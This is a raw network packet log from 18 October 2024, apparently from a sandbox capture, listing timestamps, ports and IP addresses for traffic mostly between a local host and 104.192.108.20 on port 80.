Oct 18, 2024 23:46:35.097230911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097244024 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097248077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097259045 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097266912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097270966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097280025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097286940 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097316027 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097722054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097764015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097771883 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097788095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097800016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097810030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.097825050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.097848892 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.098248959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.098259926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.098277092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.098287106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.098298073 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.098311901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.098331928 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.101810932 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:35.102775097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102783918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102793932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102838039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.102869987 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102873087 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.102881908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102893114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102909088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102917910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102921009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.102927923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.102948904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.102965117 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.109572887 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:35.109594107 CEST	443	49818	142.250.184.196	192.168.2.5
Oct 18, 2024 23:46:35.149138927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149205923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149219036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149229050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149239063 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149249077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149259090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149394035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.149394035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.149492979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149503946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149518967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149544001 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.149555922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.149720907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149856091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149867058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149878979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149888039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.149905920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.149931908 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.150090933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.150132895 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.150140047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.159559965 CEST	49818	443	192.168.2.5	142.250.184.196
Oct 18, 2024 23:46:35.186279058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186290026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186300039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186454058 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.186496973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186507940 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186517954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186527967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186546087 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.186568975 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.186630011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186640024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186649084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186665058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186681032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.186714888 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.186836958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186882973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186892986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.186929941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.187047958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.187057972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.187067032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.187094927 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.187108040 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217433929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217449903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217462063 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217473030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217506886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217570066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217606068 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217648983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217663050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217674017 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217674017 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217699051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217700958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217710018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217884064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217895031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217915058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217922926 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217926025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217941999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.217950106 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.217964888 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.218504906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.218513966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.218524933 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.218534946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.218544960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.218547106 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.218581915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.222575903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222619057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222629070 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222664118 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.222791910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222820997 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222831011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.222862959 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.222892046 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.222990990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.223001003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.223011971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.223021984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.223038912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.223062992 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269036055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269160986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269171000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269181013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269190073 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269217014 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269259930 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269412041 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269423962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269457102 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269506931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269516945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269527912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269545078 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269547939 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269556046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269566059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269575119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269577026 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269607067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269618988 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.269905090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269916058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269923925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.269964933 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.279789925 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:35.279874086 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:35.280096054 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:35.281017065 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:35.281049013 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:35.305802107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305811882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305820942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305830956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305860996 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.305893898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305902004 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.305906057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305916071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.305929899 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.305963993 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.306114912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306124926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306135893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306144953 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306190014 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.306379080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306425095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306433916 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306468010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.306607008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306617022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306658030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306668043 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306668997 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.306679964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.306703091 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.306715012 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.336944103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.336972952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.336982965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337023020 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337066889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337078094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337086916 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337111950 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337125063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337192059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337289095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337299109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337332964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337354898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337366104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337374926 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337390900 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337419987 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337606907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337618113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337627888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337681055 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337743998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337790012 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.337817907 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337827921 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337837934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.337860107 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.338043928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.338072062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.338080883 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.338088989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.338099003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.338116884 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.341937065 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.341954947 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.341964006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342006922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.342195988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342205048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342247009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.342277050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342287064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342295885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342322111 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.342430115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342470884 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.342493057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342504025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342514038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.342538118 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.388637066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.388648033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.388655901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.388689995 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.388722897 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389005899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389060020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389070988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389106989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389113903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389125109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389162064 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389235973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389276028 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389312029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389322042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389363050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389388084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389403105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389436960 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.389590025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389614105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389624119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.389652967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.425723076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.425765991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.425776958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.425777912 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.425825119 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.425930977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.425941944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.425985098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.426467896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426477909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426487923 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426497936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426507950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426518917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426529884 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426532984 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.426539898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426584005 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.426609993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426623106 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426651955 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.426656008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426666975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426681995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.426709890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.456443071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456489086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456499100 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456500053 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.456538916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.456542015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456650972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456695080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456703901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456729889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456732988 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.456741095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456751108 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.456775904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.456793070 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457242012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457299948 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457364082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457381010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457396984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457406998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457432032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457451105 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457526922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457537889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457577944 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457597017 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457607031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457616091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457627058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457638025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.457640886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.457665920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.459261894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.459271908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.459280014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.459315062 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:35.461811066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461822033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:35.461831093 CEST	80	49795	104.192.108.20	192.168.2.5
